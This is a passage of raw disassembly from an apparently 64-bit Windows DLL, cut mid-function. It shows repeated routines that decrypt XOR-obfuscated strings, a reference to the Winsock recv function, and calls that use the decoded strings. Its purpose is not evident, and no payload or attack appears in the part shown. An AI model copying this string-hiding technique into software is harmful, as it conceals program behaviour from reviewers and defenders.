lea rdx, [rbp + 0x300]
lea rcx, [rbp + 0x538]
call fcn.180013bd0
movzx eax, word [0x1801b3780]
movsd xmm0, qword [str.rVXXWYY]
mov word [rbp + 0x4c0], ax
movsd qword [rbp + 0x4b8], xmm0
movzx eax, byte [0x1801b3782]
mov byte [rbp + 0x4b8], 0x45
xor byte [rbp + 0x4b9], 0x38
xor byte [rbp + 0x4ba], 0x39
xor byte [rbp + 0x4bb], 0x3a
xor byte [rbp + 0x4bc], 0x3b
xor byte [rbp + 0x4bd], 0x3c
xor byte [rbp + 0x4be], 0x3d
xor byte [rbp + 0x4bf], 0x3e
xor byte [rbp + 0x4c0], 0x3f
xor byte [rbp + 0x4c1], 0x40
xor al, 0x41
mov byte [rbp + 0x4c2], al
mov r8, rbx
lea rdx, [0x1802efe1f]
lea rcx, [rbp + 0x4b8]
call fcn.18004abb0
mov cl, 1
call fcn.180017290
movsd xmm0, qword [str.tMJNTQ]
movsd qword [rbp + 0x718], xmm0
mov ecx, dword [0x1801b37a0]
mov dword [rbp + 0x720], ecx
movzx eax, word [0x1801b37a4]
mov word [rbp + 0x724], ax
movzx eax, byte [0x1801b37a6]
mov byte [rbp + 0x726], al
mov r8d, edi
cmp r14d, 2
jl 0x1800da777
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.tMJNTQ]
xorps xmm1, xmm0
movd dword [rbp + 0x718], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x71c]
xorps xmm2, xmm1
movd dword [rbp + 0x71c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x720], xmm2
mov r8d, recv
mov eax, r8d
lea r9, [rbp + 0x718]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1800da790
mov dword [rbp + 0x308], 0x43910000
mov dword [rbp + 0x30c], 0x42960000
movsd xmm0, qword [0x1801b3788]
movsd qword [rbp + 0x728], xmm0
mov ecx, dword [0x1801b3790]
mov dword [rbp + 0x730], ecx
movzx eax, word [0x1801b3794]
mov word [rbp + 0x734], ax
movzx eax, byte [0x1801b3796]
mov byte [rbp + 0x736], al
mov r8d, edi
cmp r14d, 2
jl 0x1800da958
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x1801b3788]
xorps xmm1, xmm0
movd dword [rbp + 0x728], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x72c]
xorps xmm2, xmm1
movd dword [rbp + 0x72c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x730], xmm2
mov r8d, recv
mov eax, r8d
lea r9, [rbp + 0x728]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1800da970
lea rax, [rbp + 0x718]
mov qword [rsp + 0x28], rax
lea r13, [0x1801b3c68]
mov qword [rsp + 0x20], r13
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x308]
lea rcx, [rbp + 0x728]
call fcn.180013bd0
mov rax, qword [str.__XRRY_tWWR_]
mov qword [rbp + 0x310], rax
cmp byte [0x1801b37af], dil
je 0x1800dab09
mov r8d, edi
cmp r14d, 2
jl 0x1800daacf
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm14
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x310]
xorps xmm2, xmm1
movd dword [rbp + 0x310], xmm2
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x314]
xorps xmm2, xmm1
movd dword [rbp + 0x314], xmm2
jmp 0x1800dab09
lea r9, [rbp + 0x310]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1800daae0
lea rdx, [0x1802eb4d4]
lea rcx, [rbp + 0x310]
call fcn.180050140
mov cl, 1
call fcn.180017290
movzx eax, word [0x1801b37c8]
mov word [rbp + 0xae0], ax
movups xmm2, xmmword [str.tWWR_]
movzx eax, byte [0x1801b37ca]
movups xmmword [rbp + 0xad0], xmm2
mov byte [rbp + 0xae2], al
mov r8d, edi
cmp r14d, 2
jl 0x1800dad07
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xad0], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xad4]
xorps xmm2, xmm1
movd dword [rbp + 0xad4], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xad8]
xorps xmm2, xmm1
movd dword [rbp + 0xad8], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xadc]
xorps xmm2, xmm1
movd dword [rbp + 0xadc], xmm2
mov r8d, reloc.WS2_32.dll_recv
mov eax, r8d
lea r9, [rbp + 0xad0]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x1800dad20
mov dword [rbp + 0x318], 0x43910000
mov dword [rbp + 0x31c], 0x42be0000
mov eax, dword [0x1801b37b0]
mov dword [rbp + 0x3c], eax
movzx ecx, word [0x1801b37b4]
mov word [rbp + 0x40], cx
movzx eax, byte [0x1801b37b6]
mov byte [rbp + 0x3c], 0x43
xor byte [rbp + 0x3d], 0x38
xor byte [rbp + 0x3e], 0x39
xor byte [rbp + 0x3f], 0x3a
xor cl, 0x3b
mov byte [rbp + 0x40], cl
xor byte [rbp + 0x41], 0x3c
xor al, 0x3d
mov byte [rbp + 0x42], al
lea rax, [rbp + 0xad0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x318]
lea rcx, [rbp + 0x3c]
call fcn.180013bd0
mov qword [rbp + 0x320], rdi
movsd xmm0, qword [str.dYULZN]
movsd qword [rbp + 0x6c8], xmm0
mov ecx, dword [0x1801b37d8]
mov dword [rbp + 0x6d0], ecx
movzx eax, word [0x1801b37dc]
mov word [rbp + 0x6d4], ax
cmp byte [0x1801b37dd], dil
je 0x1800daf90
mov r8d, edi
cmp r14d, 2
jl 0x1800daf50
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.dYULZN]
xorps xmm1, xmm0
movd dword [rbp + 0x6c8], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x6cc]
xorps xmm2, xmm1
movd dword [rbp + 0x6cc], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x6d0], xmm2
mov r8d, recv
mov eax, r8d
lea r9, [rbp + 0x6c8]
add r9, rax
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1800daf60
lea rdx, [rbp + 0x320]
lea rcx, [rbp + 0x6c8]
call fcn.18004a000
test al, al
je 0x1800df632
movups xmm2, xmmword [0x1801b37e0]
movups xmmword [rbp + 0x878], xmm2
movdqa xmm0, xmm2
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x1800db1b9
mov r8d, edi
cmp r14d, 2
jl 0x1800db185
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x878], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x87c]
xorps xmm2, xmm1
movd dword [rbp + 0x87c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x880]
xorps xmm2, xmm1
movd dword [rbp + 0x880], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x884]
xorps xmm2, xmm1
movd dword [rbp + 0x884], xmm2
jmp 0x1800db1b9
lea r9, [rbp + 0x878]
nop dword [rax]
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1800db190
xorps xmm0, xmm0
movups xmmword [rbp + 0x1788], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1798], xmm1
lea rax, [rbp + 0x878]
mov r8, r15
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], dil
jne 0x1800db1e0
lea rdx, [rbp + 0x878]
lea rcx, [rbp + 0x1788]
call fcn.180048670
nop
xor r8d, r8d
lea rdx, [rbp + 0x1788]
lea rcx, [rbp + 0x1130]
call fcn.18006d540
nop
lea rcx, [rbp + 0x1130]
call fcn.1800c3220
movzx ebx, al
lea rcx, [rbp + 0x1130]
call fcn.180082290
test bl, bl
jne 0x1800db284
xor r8d, r8d
lea rdx, [rbp + 0x1788]
lea rcx, [rbp + 0x1150]
call fcn.18006d540
nop
mov qword [rsp + 0x50], rdi
lea rax, [0x1801e8e38]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x1150]
call fcn.1800bdba0
cmp dword [rsp + 0x50], 0
jne 0x1800e0b50
lea rcx, [rbp + 0x1150]
call fcn.180082290
nop
xor edx, edx
lea rcx, [rbp + 0x1760]
call fcn.18007b1e0
nop
lea rax, [rbp + 0x888]
mov qword [rsp + 0x50], rax
lea rdx, [0x1802efde0]
lea rcx, [rbp + 0x888]
call fcn.1800a0600
mov rbx, rax
movsd xmm0, qword [0x1801b37f0]
movsd qword [rbp + 0x468], xmm0
movzx edx, word [0x1801b37f8]
mov word [rbp + 0x470], dx
movzx ecx, byte [0x1801b37fa]
mov byte [rbp + 0x468], 0x65
xor byte [rbp + 0x469], 0x38
xor byte [rbp + 0x46a], 0x39
xor byte [rbp + 0x46b], 0x3a
xor byte [rbp + 0x46c], 0x3b
xor byte [rbp + 0x46d], 0x3c
xor byte [rbp + 0x46e], 0x3d
xor byte [rbp + 0x46f], 0x3e
xor dl, 0x3f
mov byte [rbp + 0x470], dl
xor byte [rbp + 0x471], 0x40
xor cl, 0x41
mov byte [rbp + 0x472], cl
xorps xmm0, xmm0
movups xmmword [rbp + 0x1190], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x11a0], xmm1
lea rax, [rbp + 0x468]
mov r8, r15
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1800db350
lea rdx, [rbp + 0x468]
lea rcx, [rbp + 0x1190]
call fcn.180048670
nop
lea rdx, [rbp + 0x1190]
lea rcx, [rbp + 0x1170]
call fcn.180083840
mov rdx, rax
lea rcx, [rbp + 0x1760]
call fcn.18007e3e0
nop
mov rdx, rbx
mov rcx, rax
call fcn.18007e370
nop
lea rcx, [rbp + 0x1190]
call fcn.180049240
lea rax, [rbp + 0x898]
mov qword [rsp + 0x50], rax
lea rdx, [0x1802efde1]
lea rcx, [rbp + 0x898]
call fcn.1800a0600
mov rbx, rax
movsd xmm0, qword [str.RKIeU_P_L_]
movsd qword [rbp + 0x438], xmm0
movzx ecx, word [0x1801b3808]
mov word [rbp + 0x440], cx
cmp byte [0x1801b3809], 0
je 0x1800db438
mov byte [rbp + 0x438], 0x65
xor byte [rbp + 0x439], 0x38
xor byte [rbp + 0x43a], 0x39
xor byte [rbp + 0x43b], 0x3a
xor byte [rbp + 0x43c], 0x3b
xor byte [rbp + 0x43d], 0x3c
xor byte [rbp + 0x43e], 0x3d
xor byte [rbp + 0x43f], 0x3e
xor byte [rbp + 0x440], 0x3f
xor byte [rbp + 0x441], 0x40
xorps xmm0, xmm0
movups xmmword [rbp + 0x11d0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x11e0], xmm1
lea rax, [rbp + 0x438]
mov r8, r15
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1800db460
lea rdx, [rbp + 0x438]
lea rcx, [rbp + 0x11d0]
call fcn.180048670
nop
lea rdx, [rbp + 0x11d0]
lea rcx, [rbp + 0x11b0]
call fcn.180083840
mov rdx, rax
lea rcx, [rbp + 0x1760]
call fcn.18007e3e0
nop
mov rdx, rbx
mov rcx, rax
call fcn.18007e370
nop
lea rcx, [rbp + 0x11d0]
call fcn.180049240
lea rax, [rbp + 0x8a8]
mov qword [rsp + 0x50], rax
lea rdx, [0x1802efde2]
lea rcx, [rbp + 0x8a8]
call fcn.1800a0600
mov rbx, rax
movsd xmm0, qword [str.RKIeLYNP.2B]
movsd qword [rbp + 0x528], xmm0
mov ecx, dword [0x1801b3818]
mov dword [rbp + 0x530], ecx
cmp byte [0x1801b381b], 0
je 0x1800db689
mov r8d, edi
cmp r14d, 2
jl 0x1800db64d
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.RKIeLYNP.2B]
xorps xmm1, xmm0
movd dword [rbp + 0x528], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x52c]
xorps xmm2, xmm1
movd dword [rbp + 0x52c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x530], xmm2
jmp 0x1800db689
lea r9, [rbp + 0x528]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1800db660
xorps xmm0, xmm0
movups xmmword [rbp + 0x1210], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1220], xmm1
lea rax, [rbp + 0x528]
mov r8, r15
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1800db6b0
lea rdx, [rbp + 0x528]
lea rcx, [rbp + 0x1210]
call fcn.180048670
nop
lea rdx, [rbp + 0x1210]
lea rcx, [rbp + 0x11f0]
call fcn.180083840
mov rdx, rax
lea rcx, [rbp + 0x1760]
call fcn.18007e3e0
nop
mov rdx, rbx
mov rcx, rax
call fcn.18007e370
nop
lea rcx, [rbp + 0x1210]
call fcn.180049240
lea rax, [rbp + 0x8b8]
mov qword [rsp + 0x50], rax
lea rdx, [0x1802efde3]
lea rcx, [rbp + 0x8b8]
call fcn.1800a0600
mov rbx, rax
movsd xmm0, qword [str.RKIeSYZ_]
movsd qword [rbp + 0x3a8], xmm0
movzx ecx, byte [0x1801b3828]
mov byte [rbp + 0x3a8], 0x65
xor byte [rbp + 0x3a9], 0x38
xor byte [rbp + 0x3aa], 0x39
xor byte [rbp + 0x3ab], 0x3a
xor byte [rbp + 0x3ac], 0x3b
xor byte [rbp + 0x3ad], 0x3c
xor byte [rbp + 0x3ae], 0x3d
xor byte [rbp + 0x3af], 0x3e
xor cl, 0x3f
mov byte [rbp + 0x3b0], cl
lea rdx, [rbp + 0x3a8]
lea rcx, [rbp + 0x16f8]
call fcn.18005b1b0
nop
lea rdx, [rbp + 0x16f8]
lea rcx, [rbp + 0x1230]
call fcn.180083840
mov rdx, rax
lea rcx, [rbp + 0x1760]
call fcn.18007e3e0
nop
mov rdx, rbx
mov rcx, rax
call fcn.18007e370
nop
lea rcx, [rbp + 0x16f8]
call fcn.180049240
lea rax, [rbp + 0x8c8]
mov qword [rsp + 0x50], rax
lea rdx, [0x1802efde6]
lea rcx, [rbp + 0x8c8]
call fcn.1800a0600
mov rbx, rax
movsd xmm0, qword [str.RKIeHWXRZ4._C]
movsd qword [rbp + 0x5d8], xmm0
mov edx, dword [0x1801b3838]
mov dword [rbp + 0x5e0], edx
movzx ecx, byte [0x1801b383c]
mov byte [rbp + 0x5e4], cl
mov r8d, edi
cmp r14d, 2
jl 0x1800db96a
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.RKIeHWXRZ4._C]
xorps xmm1, xmm0
movd dword [rbp + 0x5d8], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x5dc]
xorps xmm2, xmm1
movd dword [rbp + 0x5dc], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, edx
xorps xmm2, xmm1
movd dword [rbp + 0x5e0], xmm2
mov r8d, recv
mov eax, r8d
lea r9, [rbp + 0x5d8]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
